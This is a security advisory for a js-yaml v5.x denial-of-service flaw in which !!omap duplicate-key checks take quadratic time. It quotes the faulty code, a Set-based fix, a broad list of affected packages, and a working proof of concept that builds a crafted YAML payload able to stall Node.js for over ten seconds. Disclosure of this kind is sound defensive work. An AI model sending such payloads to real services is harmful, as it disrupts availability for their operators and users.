CVE-2026-59870

About vulnerability

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container)   // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object);             // n insertions → O(n^2) total
return '';
}
});

For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});

Affected product:

Next.js , Node.js , React , Vue , apply-release-plan , astro , b4a , babel , babel-plugin-istanbul , bare-fs , bare-stream , changesets , cli , cosmiconfig , css-loader , cssnano , db0 , devframe , devtools , drizzle-orm , ember-cli , eslint , eslint-community/eslint-utils , eslint-import-resolver-typescript , eslint-plugin-es , eslint-plugin-import , eslint-plugin-jest , eslint-plugin-jest-dom , eslint-plugin-jsx-a11y , eslint-plugin-node , eslint-plugin-react , eslint-plugin-testing-library , eslint-plugin-vue , eslintrc , expo , expo-cli , expo-file-system , expo-glass-effect , farm , farm-plugin-replace-dirname , fork-ts-checker-webpack-plugin , gp-js-client , gray-matter , grunt , grunt-karma , impound , jest , js-yaml , load-nyc-config , load-yaml-file , loopback , loopback-connector , loopback-connector-remote , loopback-datasource-juggler , loopback-phase , manypkg , masked-view , metro , nitro , nostics , nuxt , op-sqlite , parse , postcss-load-config , postcss-load-options , postcss-load-plugins , postcss-loader , postcss-svgo , pre , preferred-pm , read-yaml-file , remark-mdx-frontmatter , remix , sentry-browser , sharp , streamx , strong-globalize , strong-remoting , stylelint , svgo , swagger-js , tapjs , tar-fs , tar-stream , teex , telemetry , testem , text-decoder , tslint , tslint-consistent-codestyle , typescript-eslint , unctx , unimport , unplugin , unstorage , vetur , vite , vite-dev-rpc , vite-hot-client , vite-plugin-checker , vite-plugin-inspect , vite-plugin-react , vite-plugin-vue , vite-plugin-vue-inspector , vite-plugin-vue-tracer , vitefu , which-pm , wotan

Affected packages:

@changesets/parse @ 0.4.3 (+704 more)